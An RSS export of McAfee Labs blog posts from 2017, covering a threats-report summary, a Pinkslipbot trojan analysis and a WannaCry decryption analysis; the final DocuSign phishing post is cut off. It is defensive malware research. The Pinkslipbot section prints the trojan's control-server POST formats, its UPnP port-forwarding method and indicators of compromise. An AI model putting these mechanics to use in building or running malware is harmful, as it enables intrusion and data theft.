McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com Securing Tomorrow. Today. Tue, 20 Jun 2017 04:01:27 +0000 en-US hourly 1 ‘McAfee Labs Threats Report’ Explores Malware Evasion Techniques, Digital Steganography, Password-Stealer Fareit https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-malware-evasion-techniques-digital-steganography-password-stealer-fareit/ https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-malware-evasion-techniques-digital-steganography-password-stealer-fareit/#respond Tue, 20 Jun 2017 04:01:23 +0000 https://securingtomorrow.mcafee.com/?p=75224 We got a little carried away in the McAfee Labs Threats Report: June 2017, published today. This quarter’s report has expanded to a rather hefty 83 pages! It contains three highly educational topics, in addition to the usual set of threats statistics: We broadly examine evasion techniques and how malware authors use them to accomplish …

The post ‘McAfee Labs Threats Report’ Explores Malware Evasion Techniques, Digital Steganography, Password-Stealer Fareit appeared first on McAfee Blogs.

]]>
We got a little carried away in the McAfee Labs Threats Report: June 2017, published today. This quarter’s report has expanded to a rather hefty 83 pages! It contains three highly educational topics, in addition to the usual set of threats statistics:

  • We broadly examine evasion techniques and how malware authors use them to accomplish their goals. We discuss the more than 30-year history of evasion by malware, the underground market for off-the-shelf evasion technology, how several contemporary malware families leverage evasion techniques, and what to expect in the future, including machine-learning and hardware-based evasion.
  • We explore the very interesting topic of steganography in the digital world. Digital steganography hides information in benign-looking objects such as images, audio tracks, video clips, or text files. Of course, attackers use these techniques to move information past security systems. We explain how that happens in this key topic.
  • We deconstruct Fareit, the most famous password-stealing malware. We cover its origins, typical infection vectors, architecture and inner workings, how it has changed over the years, and how it was likely used in the breach of the Democratic National Committee before the 2016 U.S. Presidential election. Coincidentally, DocuSign reported that on May 15, customer email addresses were stolen and then used in a phishing campaign. Victims who clicked on the phishing links were infected with malware, one of which was Fareit. Read our technical analysis of the DocuSign attack.

Accompanying each of these key topics is a Solution Brief that goes into detail about how McAfee products can protect against these threats.

Here are some highlights from our extensive analysis of threats activity in Q1:

  • Malware: New malware samples rebounded in Q1 to 32 million. The total number of malware samples increased 22% in the past four quarters to 670 million samples.
  • Ransomware: New ransomware samples rebounded in Q1 primarily due to Congur ransomware attacks on Android OS devices. The number of total ransomware samples grew 59% in the past four quarters to 9.6 million samples. (We will discuss the WannaCry ransomware in our next quarterly report.)
  • Mobile malware: Reports from Asia doubled in Q1, contributing to a 57% increase in global infection rates. Total mobile malware grew 79% in the past four quarters to 16.7 million samples.
  • Incidents: We counted 301 publicly disclosed security incidents in Q1, an increase of 53% over Q4. The health, public, and education sectors comprised more than 50% of the total. 78% of all publicly disclosed security incidents in Q1 took place in the Americas.

Read the McAfee Labs Threats Report: June 2017.

The post ‘McAfee Labs Threats Report’ Explores Malware Evasion Techniques, Digital Steganography, Password-Stealer Fareit appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-explores-malware-evasion-techniques-digital-steganography-password-stealer-fareit/feed/ 0
McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/ https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/#respond Fri, 16 Jun 2017 19:11:20 +0000 https://securingtomorrow.mcafee.com/?p=75053 McAfee Labs has discovered that banking malware Pinkslipbot (also known as QakBot/QBot) has used infected machines as control servers since April 2016, even after its capability to steal personal and financial data from the infected machine has been removed by a security product. These include home users whose computers are usually behind a network address …

The post McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan appeared first on McAfee Blogs.

]]>
McAfee Labs has discovered that banking malware Pinkslipbot (also known as QakBot/QBot) has used infected machines as control servers since April 2016, even after its capability to steal personal and financial data from the infected machine has been removed by a security product. These include home users whose computers are usually behind a network address translation router. To do so, Pinkslipbot uses universal plug and play (UPnP) to open ports, allowing incoming connections from anyone on the Internet to communicate with the infected machine. As far as we know, Pinkslipbot is the first malware to use infected machines as HTTPS-based control servers and the second executable-based malware to use UPnP for port forwarding after the infamous W32/Conficker worm in 2008.

Pinkslipbot is a notorious banking-credential harvester that has been active since 2007. It primarily targets users and enterprises located within the United States and includes components for password stealers, keyloggers, and man-in-the-browser attacks that are used as vectors to steal various kinds of information—including credit cards, social security numbers, online account credentials, email passwords, digital certificates, etc. Pinkslipbot controls a large botnet of more than 500,000 infected machines and steals over a half-million records every day. As a result, this malware has been documented extensively by the antimalware industry. The malware authors are clearly benefiting from Pinkslipbot; they have maintained the code base since 2007 and regularly add new features to it.

When Pinkslipbot resurfaced in December 2015, we analyzed the samples and published our findings at the Virus Bulletin Conference (VB2016) in October 2016. That report described its use of “ATSEngine” to automatically transfer money from bank accounts that belonged to infected users. At the time, Pinkslipbot was equipped with a domain generation algorithm with antisinkhole capabilities to locate its control server. After April 26, 2016, the malware sidelined the algorithm as a backup option in favor of a list of control server IP addresses embedded within every sample. Because many of the IP addresses belonged to legitimate organizations, we believed the malware authors intentionally included them to deter the cybersecurity industry from blacklisting all IP addresses en masse.

Turns out we were wrong in that assessment. We have discovered that the list of IP addresses consists solely of infected machines that serve as HTTPS-based proxies to the actual control servers. This setup (shown in the following diagram) is used to mask the real IP addresses of the Pinkslipbot control servers.

Figure 1: Layout of a typical Pinkslipbot control server.

Our VB2016 paper also showed how all server components (control server, JavaScript-download server, exploit kit servers) were interchangeable and contained the same functionality. This information continues to hold true with this new discovery. All control server-related information described as follows has been observed on other server components used by Pinkslipbot.

From infected machine to control server proxy

The exact procedure of determining whether an infected machine is eligible to be a control server proxy is unknown. However, we believe this decision depends on an infected machine’s satisfying a combination of three factors.

  • IP address located in North America
  • High-speed Internet connection
  • Capability to open ports on an Internet gateway device using UPnP

To gauge the Internet connection speed, the malware downloads an image from Comcast’s Speed Test service from four locations in the United States.

  • http://sanjose.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://boston.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://jacksonville.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://houston.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1

Once the downloads are complete, the results of the speed test are sent to the control server.

The Pinkslipbot binary then uses the miniupnpc library to issue a Simple Service Discovery Protocol packet and look for the following UPnP devices:

  • urn:schemas-upnp-org:device:InternetGatewayDevice:1
  • urn:schemas-upnp-org:service:WANIPConnection:1
  • urn:schemas-upnp-org:service:WANPPPConnection:1
  • upnp:rootdevice

Figure 2: Pinkslipbot’s device discovery over the Simple Service Discovery Protocol.

Once devices are discovered, their descriptions are downloaded to look for Internet gateway devices (IGD). This is done by looking for the service type urn:schemas-upnp-org:service:WANCommonInterfaceConfig: in the device description. The IGD is then checked for connectivity (for example, by calling the GetStatusInfo function on the device and confirming the returned response is “Connected”) and the external IP address is retrieved using the GetExternalIPAddress() function on the device.

Once an IGD is discovered, port-forwarding rules are created by using the AddPortMapping function on the IGD.

Figure 3: Disassembled code showing port mapping functionality.

The malware attempts to port-forward 27 internal and external ports, listed below.

  • 443*
  • 465*
  • 990*
  • 993
  • 995*
  • 1194
  • 2078*
  • 2083
  • 2087
  • 2222*
  • 3389
  • 6881
  • 6882
  • 6883
  • 8443*
  • 32100
  • 32101
  • 32102
  • 32103*
  • 50000
  • 50001
  • 50002
  • 50003
  • 50010
  • 61200*
  • 61201*
  • 61202

The ports marked with a * are currently in use (as of June) by Pinkslipbot control servers.

If any port-forwarding request succeeds (and if other open ports are found), the malware saves the port number into a buffer and removes the port-mapping rule. The port-forwarding results are submitted to the control server using an HTTP POST request:

URL: hxxps://{control server-IP-Address}:{Port}/bot_serv
POST-DATA:
cmd=1&msg={obfuscated-string}&ports=993,80,465,21,50000,61200,61202

Based on this data, the malware author decides whether the infected machine can be used as a control server. Once an infected machine is selected, the “wgetexe” control server command (more accurately, command 25 using control server protocol Version 14) is issued to the infected machine to download a Trojan binary as “tmp_{timestamp}.exe.” This sample is responsible for the control server proxy communication, as we shall explain.

The downloaded Trojan is a dropper for the proxy component. It creates the following files either in %APPDATA% or %ALLUSERSPROFILE%, depending on the operating system.

  • HardwareMonitor\hardwaremonitor.dll
    • The proxy component
  • HardwareMonitor\hardwaremonitor.ini
    • Contains the Pinkslipbot BOTID stored under the field “n”
    • Contains available ports for mapping stored under the field “prt”

The file hardwaremonitor.dll (originally created as supernode_con.dll by the malware authors) is created as a new “hwmon” service launched via calling an export function (HwmonServerMainNT or HwmonServerMain) using rundll32.exe. A firewall rule is also created for rundll32.exe.

When launched as a service, the proxy component creates port-forwarding rules (using the description “NAT-PMP {port} tcp”) just as with the original Pinkslipbot sample but it does not remove them this time. The infected machine can now be used as a control server over HTTPS. The proxy component at this stage will contact the real control server via one of its hardcoded proxy servers with the following HTTPS POST request:

URL: https://{proxy-IP}/gwsup
POST-DATA:n={BOTID}&rt={IsWinNT}&prt={UPnP-Forwarded-Port}&os={OS-Version}&ver={MajVer}.{MinVer} &upnp_stat={UPnP-Status}&upnp_descr={UPnP-Port-Forward-Description}

Once the infected machine receives a control server request from a new Pinkslipbot infection, it routes all traffic to the real control servers via an additional proxy using the popular libcurl URL transfer library. As with the original malware, the responses from the real control servers are parsed and digital signatures verified using a hardcoded RSA public key (using the MatrixSSL library). To mask its presence to the outside world, responses from the real control servers (which run Apache) are modified to look like they were hosted on a server running nginx Version 1.9.12.

Figure 4: A fake server name used by Pinkslipbot.

This step agrees with our previous findings from the VB2016 paper, in which we saw an nginx server responding with a specific error message (see Page 6) during control server communication that indicated the presence of a curl-based proxy server residing on Pinkslipbot control servers. However, at the time we were not sure how this was implemented or where the curl component resided. The presence of the same error message in the proxy component DLL confirms its purpose for responding to control server requests.

Figure 5: The missing component from 2016 has been identified based on the error message.

Two custom HTTP headers are also passed to the hardcoded proxy servers to indicate the IP address of the infected machine making the request and the Pinkslipbot BOTID of the infected machine serving as the proxy server.

Custom HTTP Header: Description:
X-FORWARDED-FOR-CLIENT IP address of infected machine making a request.
X-FORWARDED-FOR-GATEWAY2 The Pinkslipbot BOTID of the infected machine serving as a control server proxy.

 

Because the Pinkslipbot control server protocol is based on HTTPS, it needs a server-side certificate to operate. It gains this on the fly by generating new self-signed certificates for every new connection using the OpenSSL library built with libcurl. The generated certificates are issued random values for the following certificate attributes:

Certificate Attribute: Description:
C Country
ST State
L Locality
STREET Street
O Organization
OU Organizational unit
CN Common name

 

Figure 6: Server certificate generation code from Pinkslipbot.

The malware authors take some extra effort to make the generated certificates appear legitimate by ensuring that:

  • The organization attribute ends with either Inc. or LLC.
  • The common name attribute uses one of the following top-level domains:
    • .com
    • .net
    • .org
    • .biz
    • .us
    • .info
    • .mobi

User recommendations

As UPnP assumes local applications and devices are trustworthy, it offers no security protections and is prone to abuse by any infected machine on the network. We have observed multiple Pinkslipbot control server proxies hosted on separate computers on the same home network as well as what appears to be a public Wi-Fi hotspot. The port-forwarding rules created by Pinkslipbot are too generic to remove automatically without risking accidental network misconfigurations. And as most malware do not interfere with port-forwarding, antimalware solutions may not revert such changes. Unfortunately, this means that your computer may still be vulnerable to outside attacks even if your antimalware product has successfully removed all Pinkslipbot binaries from your system. To ensure your computers are not unintentionally accessible from the Internet, we encourage you to download our free utility listed in the next section to look for Pinkslipbot control server proxy infections and remove malicious port mappings. Even without the UPnP elements, Pinkslipbot is still a dangerous Trojan capable of causing a lot of damage. A few years ago it gained attention for locking Active Directory while spreading over the network by brute-forcing network credentials. We recommend following the recommendations published in the McAfee Threat Advisory for W32/Pinkslipbot.

From a general cybersecurity perspective, we were surprised to see a banking Trojan use a complicated multistage proxy for HTTPS-based control server communication, especially considering that it uses UPnP to repurpose home user infections as control servers. Aside from a 2008 proof of concept created by security researchers and the W32/Conficker worm in 2009, information about malicious use of UPnP by malware is scarce. We expect this to change soon as more people use routers with built-in UPnP capabilities (enabled by default) than in 2008. Many Internet of Things devices work over UPnP and are steadily being installed and used by more people every day. As they become more ubiquitous, cybercriminals will see opportunities to use UPnP maliciously. We recommend that users keep tabs on their local port-forwarding rules and disable UPnP on their home routers unless they need it.

Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool

If your system has been infected with W32/PinkSlipbot (Qakbot/QBot), your machine may still be serving as a control server proxy for the malware. Even if all malicious components have been removed by your security product, your computer may be vulnerable to attacks if it is accessible over the Internet. To help identify this vulnerability on your computer and network, we have developed a free port-forwarding detection and removal tool specific to this malware. This utility will also detect the Pinkslipbot control server proxy service if found and disable (though not remove) the service.

The tool can be downloaded here. By default, the tool operates in detect mode, in which no changes are made to your system or router configuration if malicious elements are found.

Figure 7: The McAfee Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool operating in its default “detect only” mode.

If the tool finds malicious port-forwarding rules and malicious services, you may pass the “/del” command line argument to the tool to disable the malicious service and remove the port-forwarding rule.

 

 

Figure 8: McAfee Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool operating in “detect and disable” mode.

Indicators of compromise

  • One or more of these files:
    • %APPDATA%\HardwareMonitor\hardwaremonitor.dll
    • %ALLUSERSPROFILE%\HardwareMonitor\hardwaremonitor.dll
    • %APPDATA%\HardwareMonitor\hardwaremonitor.ini
    • %ALLUSERSPROFILE%\HardwareMonitor\hardwaremonitor.ini
  • A service created with the name “hwmon” and binary path containing “rundll32.exe.”
  • TCP port forwards enabled for one of these ports using description “NAT-PMP {port} tcp” and no expiration time:
    • 443, 465, 990, 993, 995, 1194, 2078, 2083, 2087, 2222, 3389, 6881, 6882, 6883, 8443, 32100, 32101, 32102, 32103, 50000, 50001, 50002, 50003, 50010, 61200, 61201, 61202
  • Connections from and to these IP addresses:
    • 158.255.2.138
    • 185.162.8.190
    • 185.169.229.168

Sample hashes

  • Proxy component droppers
    • 22cf76f92aad53db1304dec026b834ad77d2272c7f2eaaabf299e953b98d570e
    • c23fe9f3a3035edb6fa306c7545cfd05bb310d85983dda5914cd9650c13b41d3
  • Proxy component DLL (internal name: supernode_con.dll)
    • 730e9864795ed8d6538064551ab95505dff3e92dd67888bee323cb341b2420c6
    • af25c5bed96e046ba1e25749ff51f0d8437a1ef66e469b4fd0348e372abc2f7f
    • 6d174dd4f29da814170e8f7c40ecd80794e1c27d8d94741a79bd1bd6eb75ea62

 

The post McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/feed/ 0
Is WannaCry Really Ransomware? https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-really-ransomware/ https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-really-ransomware/#respond Thu, 08 Jun 2017 16:26:14 +0000 https://securingtomorrow.mcafee.com/?p=74857 Ransomware follows a relatively simple model: data is encrypted, the victim pays, data is decrypted. At least that is what those who create ransomware want you to believe. This was also our assumption when we began our analysis of WannaCry—that those behind the campaign would decrypt victims’ data once they received payment. However, for a campaign with incredibly effective propagation techniques, reasonable key and data management, and a working anonymous communication fabric with Bitcoin payments, we found a major flaw: The WannaCry attackers appear to be unable to determine which users have paid the ransom and they cannot decrypt on a per-user basis.

The post Is WannaCry Really Ransomware? appeared first on McAfee Blogs.

]]>
This post summarizes the significant efforts of a McAfee threat research team that has been relentless in its efforts to gain a deeper understanding of the WannaCry ransomware. We would like to specifically acknowledge Christiaan Beek, Lynda Grindstaff, Steve Grobman, Charles McFarland, and Kunal Mehta for their efforts.

Ransomware follows a relatively simple model: data is encrypted, the victim pays, data is decrypted. At least that is what those who create ransomware want you to believe. This was also our assumption when we began our analysis of WannaCry—that those behind the campaign would decrypt victims’ data once they received payment. However, for a campaign with incredibly effective propagation techniques, reasonable key and data management, and a working anonymous communication fabric with Bitcoin payments, we found a major flaw: The WannaCry attackers appear to be unable to determine which users have paid the ransom and they cannot decrypt on a per-user basis.

Technical summary

Our analysis into the encryption and decryption functions within WannaCry reveals an effective tool set. The authors:

  • Created an 8-byte unique identifier (via CryptGenRandom) that identifies the current machine and all the encrypted files on that machine. This ID is used in all communications with the back end and is intended to allow per-user decryption. (See “Can the attackers be contacted?” for details.)
  • Practiced reasonable data sanitization techniques to prevent the recovery of key material. (See “Does WannaCry prevent recovery of key material?”)
  • Followed reasonable practices to prevent the recovery of plain-text file data. (See “Does WannaCry prevent recovery of file data?”)
  • Developed a (somewhat unreliable) back end that keeps track of which users have encrypted files. (See “Can the authors respond? Can they return a private key?”)
  • Made file decryption possible, provided that the “Check Payment” interaction with the back end results in the decrypted key being written to 00000000.dky. The authors know if the returned data is a key or a message to be displayed to the user. The authors must have tested this at least once, and have thus tested full decryption where the need for the correct private key was clearly known. (See “Recovering the user’s private key”)
  • WannaCry appears to have been written by (at least] two authors or teams with different motives:
    • One author favored Win32 APIs and wrapping those APIs or using object orientation.
    • The other author favored C, common APIs (such as fopen), and long procedural functions. They may have been responsible for weaponizing the file encryptor/decryptor, but we do not know. If we are correct, this code probably introduced the unique ID idea but the interface was not updated to include a way to associate the ID with the user’s Bitcoin wallet.

The WannaCry authors demonstrated good technical governance, for example, the key handling, buffer sanitization, and private key security on disk using a strongly encrypted format. It is odd that with such good governance, the same group neglected to include something as essential as a unique ID for a user (or instance of attack) because this is mandatory to decrypt a specific user’s files. While much of the initial analysis described the WannaCry campaign as “shoddy,” the use of good technical governance suggests that there are elements of this campaign that are well implemented.

This competence raises doubts that the campaign was shoddy. Given the level of capability demonstrated, we would expect the developers would have found and fixed basic errors. Indeed, could the inclusion of these basic errors be an attempt to make the campaign appear amateur? Without apprehending those behind the campaign, it is impossible to know their motivation; yet a thorough analysis of the technical artefacts questions the shoddy theory.

 

Motivations

What were the attackers’ motives? Is this real ransomware or something else? For a particular ransomware family to make money in the long term, it must be able to encrypt and decrypt files, and have a reputation that once payment is sent, data can be recovered.

We have identified three potential motives:

  • To make money
    • WannaCry has the key components required for a financially successful campaign—including propagation, key management, data sanitization techniques to prevent data and key recovery, anonymous payment, and messaging and decryption infrastructure.
    • To keep ransom payments flowing, the authors used current messaging infrastructure to ask users to send their Bitcoin wallet IDs to the attackers. This is the same messaging infrastructure that ultimately delivers the user’s private key, allowing full decryption.
    • However, there is limited evidence from the field that payment yields data decryption.
  • To test key components of the ransomware
    • This is likely because the malware contains almost no reverse engineering and debugging protection.
    • We have already seen new WannaCry variants that are harder to analyze because components download 24 hours or so after infection time.
  • To disrupt
    • Ransomware as a destructive mechanism. The use of ransomware to destroy or generate noise, though not common, would be a particularly effective tactic.

Determining the authors intent is not trivial, and likely not possible with the information available. However, to get closer to an answer, the question we need to answer is whether WannaCry is fully functional. Analyzing that leads to a few detailed questions that we explored:

  • Can WannaCry decrypt files?
  • Can the authors be contacted?
  • Can the authors respond? Can they return a private key?
  • Does WannaCry prevent the recovery of files?
  • Does WannaCry prevent the recovery of key material?

Is WannaCry fully functional?

WannaCry can communicate with a back end that maintains its state and prevents the recovery of key material and file data. If one has the user’s private key, the user’s data can be recovered. Despite its bugs and design issues, WannaCry is effective. It is not high quality or well implemented, but it is  effective.

Can WannaCry decrypt files?

The short answer is Yes. WannaCry’s encryption, key management, and file formats have been documented by McAfee Labs, so we will not cover that here. Instead, we will focus on the decryption tool, which we know makes use of the following API sets:

  • Microsoft’s crypto APIs.
    • CryptGenKey, CryptGenRandom, CryptExportKey, CryptImportKey, CryptEncrypt, CryptDecrypt, etc.
  • Microsoft’s file management APIs.
    • CreateFileW, ReadFile, WriteFile, CloseHandle, etc.
  • C runtime library file APIs
    • fopen, fread, fwrite, fflush, fclose, etc.

Using WinDbg or IDA Pro, we can set conditional breakpoints on the APIs used by @WanaDecryptor@.exe and dump out useful information. Given the lack of debugging protection in the ransomware, this is one of the fastest ways to understand WannaCry’s behavior.

Sample decryption

To encourage users to pay the ransom, the decryption tool @WanaDecryptor@.exe can decrypt a small number of files for free. After the “free” files have been decrypted, the decryptor looks for the file 00000000.dky, which should contain the user’s private key. If found, this key is used to decrypt all files on the system. If we have the user’s private key, can we decrypt all files?

Recovering the user’s private key

To prove that decryption is possible, we need the private key:

  • Break on CryptGenKey and get the handle to any created key pair.
  • Break on CryptExportKey and watch the export of the public and private keys to memory.
    • Here we can steal the private key and check if decryption works.
  • [Optionally] put break points showing the encryption of the private key with the attacker’s public key (hardcoded within the encryptor binary), and save it to disk in 00000000.eky.

To analyze the key creation, we can use the following breakpoints:

Figure 1: Crypto API breakpoints for key import and export.

As WannaCry initializes, it calls CryptGenKey to generate a new random key, the handle to which is returned in the fourth parameter.


Figure 2: Creating a new random key.

Next, WannaCry exports the public key from the generated key and saves it to the file 00000000.eky. Note the presence of 0x06 and RSA1. This indicates that the exported key blob is a public key. To view the key blob, save the address of the buffer and buffer size in temporary registers, allow the function to return, and dump the key blob using the address and size values from the temporary registers.

Figure 3: Capturing the user’s public key.

Next, WannaCry exports the private-public key pair to memory. Note the presence of 0x07 and RSA2 in the exported buffer.

Figure 4: Capturing the user’s private-public key pair.

Immediately afterward, WannaCry encrypts the user’s private key with the attacker’s public key and writes the file to 00000000.eky. The contents of this file are sent to the attackers when the user clicks “Check Payment” (as discussed further in “Can the attackers be contacted?”).

At this moment, the private-public key pair is easily recoverable, so we can issue a command to dump that memory to a file, as shown below:

Figure 5: Writing the private key to disk from WinDbg.

In Figure 5, we have given the private key almost the correct name. If the file 00000000.dky exists and contains a valid private key that can decrypt files, WannaCry will abort its encryption run. To decrypt files, rename the file to 00000000.dky once all files have been encrypted, and click on Decrypt.

Figure 6: Dialog after WannaCry successfully decrypts all files.

Based on this analysis, WannaCry is capable of per-user decryption, provided that WannaCry can send the user’s private key to the back end, receive the private decrypted key, and place it in the correct location.

 

Can the attackers be contacted?

WannaCry provides two methods of communication with the attackers: the “Contact Us” link and the “Check Payment” button on the main decryptor interface, shown below in Figure 7.

Figure 7: WannaCry’s Decryptor interface.

If WannaCry allowed recovery, both interface controls should function. Assuming that all communication is over standard network sockets, we can inspect the traffic in real time using WinDbg/IDA Pro with the breakpoints in Figure 8.

Figure 8: Breakpoints for analyzing network traffic.

Our goal is to determine what is being sent to and received from the back end. The detail is not shown here, but WannaCry makes use of TOR to anonymize communications with the attackers, cycling through many TOR servers. We looked for the user’s private key being sent to the back end, where we expected it to be decrypted and sent back if the user had paid the ransom (or if the attackers had decided to randomly decrypt a user’s key). We found one message that was large enough. An example is shown in Figure 9.

Figure 9: A large and interesting buffer sent to the back end.

However, the data did not match any part of the user’s private key stored on disk; could this communication be encrypted? Looking at the call stack, we saw several frames:

Figure 10: Post encryption send call stack.

Looking at the previous frame, we saw a simple wrapper around ws2_32!send, so this is not an encryptor.

Figure 11: ws2_32!send wrapper.

Looking at the frame before the send wrapper in Figure 11, we found a reasonably long function beginning at 0x0040d300 that appears to be responsible for obfuscating the buffer, and we confirmed that using IDA Pro with a second breakpoint, as shown below:

Figure 12: Message obfuscator function breakpoint.

Rerunning our Check Payment debugging run, our new breakpoint fired and revealed the message to be sent prior to obfuscation:


Figure 13: Message to be sent to back end.

The message encodes information that identifies the user. We color-coded the message components in Figures 13 and 15:

  • Green: The 8-byte unique ID stored in the first 8 bytes of 00000000.res. This is created by a call to CryptGenRandom during WannaCry’s initialization and persists for the life of the attack.
  • Orange: The computer name retrieved with GetComputerNameA.
  • Red: The user’s name retrieved by GetUserNameA.
  • Bold: The Bitcoin wallet ID that the user should have sent money to, and the amount that the user should have paid.
  • Cyan: The encrypted user’s private key as read from 00000000.eky.

Based on the message content, it is reasonable to assert that the attacker’s back end receives all the information required to identify users who have paid the ransom, and should be able to perform per-user decryption, provided there is a mechanism for users to tie their Bitcoin transfers to the 8-byte unique ID that represents their specific encryption instance. However, we found no mechanism to do this and there are no interface elements or instructions to help.

Running the same experiment using the Contact Us interface shown in Figure 14, we sent a message “Hey! Can I have my files back?” to the attackers, and using our breakpoint from Figure 12, we determined that a common messaging framework is used.

Figure 14: Messaging interface.


Figure 15: Message sent to back end.

The results in Figure 15 show:

  • Both Check Payment and Contact Us appear to use a common messaging format
    • 8-byte unique ID, machine name, username is always sent.
    • The payload can vary according to message type.

As a result, we conclude that the attackers should have been able to uniquely identify a user but they clearly omitted a mechanism to tie a payment to an ID, making per-user decryption technically impossible.

Can the authors respond? Can they return a private key?

Shortly after its release, Check Payment began returning a message to users instructing them to use the Contact Us mechanism to send the users’ Bitcoin wallet addresses, as shown in Figure 16.

Figure 16: Request for a Bitcoin wallet address.

This message confirms that the attackers can respond. It also gives us an opportunity to analyze the flow of Check Payment messages. Using the same send and recv breakpoints from Figure 8, we received the following obfuscated message:

Figure 17: Encrypted response received from attackers.

Using the following breakpoint, we then watched for that data being written to the obfuscated buffer; if the obfuscation removal occurs in place, we should be able to look at the decrypted buffer.

Figure 18: Message decryption breakpoint.

Once the breakpoint fires, we saw that the message was modified in place:

Figure 19: In-place decryption of the encrypted message.

Our analysis of the function in question in WinDbg and IDA Pro indicated that on return the message was in plain text. Issuing the gu command to step out of the function, we saw the message decrypted, as shown in Figure 20.

Figure 20: Decrypted check-payment message.

This is the same message that we saw displayed in the dialog box, so end-to-end communication is working. But, how is this message used? Again, we made use of a hardware breakpoint, as shown in Figure 21.

Figure 21: Hardware breakpoint to track the decrypted message.

The preceding breakpoint triggers during a call to fwrite to 0000000.dky; the message is written to a file that should contain the user’s private key, as shown below in a subsequent call to WriteFile as part of fwrite, fflush.

Figure 22: Entire message being written to 00000000.dky

The entire message, or whatever was sent back to the decryptor, is written to the file 00000000.dky. Thus we conclude that Check Payment should return a crypto API key blob for the user’s private key. By enabling our key import breakpoint shown in Figure 1, we verified this, as shown below:

Figure 23: The decrypted message imported as a key in CryptImportKey.

Note the value of eax at the bottom of Figure 23 after CryptImportKey has returned: eax is 0, which means that CryptImportKey failed. If CryptImportKey fails, then WannaCry eventually deletes 00000000.dky and displays the message to the user. If CryptImportKey succeeds, the user can successfully decrypt all the files.

From this analysis, we conclude:

  • The WannaCry communication fabric is active and can return messages.
  • The WannaCry back end is live and tracking users because the help message is returned only once.
  • The WannaCry client expects that a message or private key can be returned from the back end:
    • If the message is not a private key (CryptImportKey fails), the client assumes the message is text that should be shown to the user.
    • Private keys are left on disk in 00000000.dky and allow the user to decrypt their files.

Decryption does not work because the authors omitted a link between payment and the unique ID. But what happens if a user follows the instructions and sends the Bitcoin wallet ID to the attackers? Can the victim decrypt files? So far, a tiny sample of victims have reported the decryption of files, but this appears not to be tied to the payment-making function.

Although the message indicates that a user may be able to get the files back (which supports the theory of shoddy design), our limited testing indicated that decryption keys are not returned and files cannot be restored even after payment, which adds weight to the possibility that WannaCry is a prank or test.

 

Does WannaCry prevent recovery of file data?

Yes and no. There has been a lot of excellent research showing that in some circumstances, files are recoverable:

  • Files on removable and nonsystem volumes.
  • Read-only files.
  • Temporary files.

Files stored in the Desktop and Documents folders are the hardest to recover. What does this mean for our theories? Both are still supported:

  • Developer incompetence: Incorrectly deleting and overwriting original files indicates a hurried or poor engineer.
    • There is a difference between not realizing that per-user file decryption can never work without the unique ID and running into filesystem processing bugs for large batch operations; errors in batch processing are much easier to explain.
  • Prank: The techniques for preventing recovery support the theory that the developers did not go to great lengths to prevent recovery from unpredictable folders and devices:
    • Removable, network, and fixed nonsystem volumes may support file carving as a recovery technique. This is also true for devices that make use of wear leveling.
    • Online storage folders and some versioning tools may provide alternative recovery mechanisms for files.
    • Desktop and documents folders are commonly file locations. Many users would not be able to recover most of their files.

We do not believe that WannaCry file data recovery prevention strongly supports either thesis.

 

Does WannaCry prevent recovery of key material?

The most important key for data recovery is the user’s private key. We used hardware breakpoints to see what happens to the exported key blob in our earlier example, as shown below:

Figure 24: Hardware breakpoint to trigger on writes to the key blob.

When this breakpoint fires, we found the following code zeroing out the exported key blob:

Figure 25: Assembly of code that modifies the exported key blob.

Thanks to care taken with data sanitization (such as that shown in Figure 25) and the correct use of CryptDestroyKey, WannaCry keeps the user’s private key in a nonencrypted form for the shortest possible time. Thus private key recovery is impractical beyond exploiting issues in the Windows APIs (as described by other authors).

Although the attacker’s motive may remain unknown for some time, we commend the response from victims, who have generally decided to not pay. Our research continues into this campaign; we will release more data as more information arises.

The post Is WannaCry Really Ransomware? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-really-ransomware/feed/ 0
Misuse of DocuSign Email Addresses Leads to Phishing Campaign https://securingtomorrow.mcafee.com/mcafee-labs/misuse-of-docusign-email-addresses-leads-to-phishing-campaign/ https://securingtomorrow.mcafee.com/mcafee-labs/misuse-of-docusign-email-addresses-leads-to-phishing-campaign/#respond Thu, 01 Jun 2017 21:23:45 +0000 https://securingtomorrow.mcafee.com/?p=74198 DocuSign, which provides electronic signatures and digital transaction management, reported that email addresses were stolen by an unknown party on May 15. Although the company confirmed that no personal information was shared, DocuSign has reported that a malicious third party gained temporary access to a separate, non-core system that allows it to communicate service-related announcements to …

The post Misuse of DocuSign Email Addresses Leads to Phishing Campaign appeared first on McAfee Blogs.

]]>
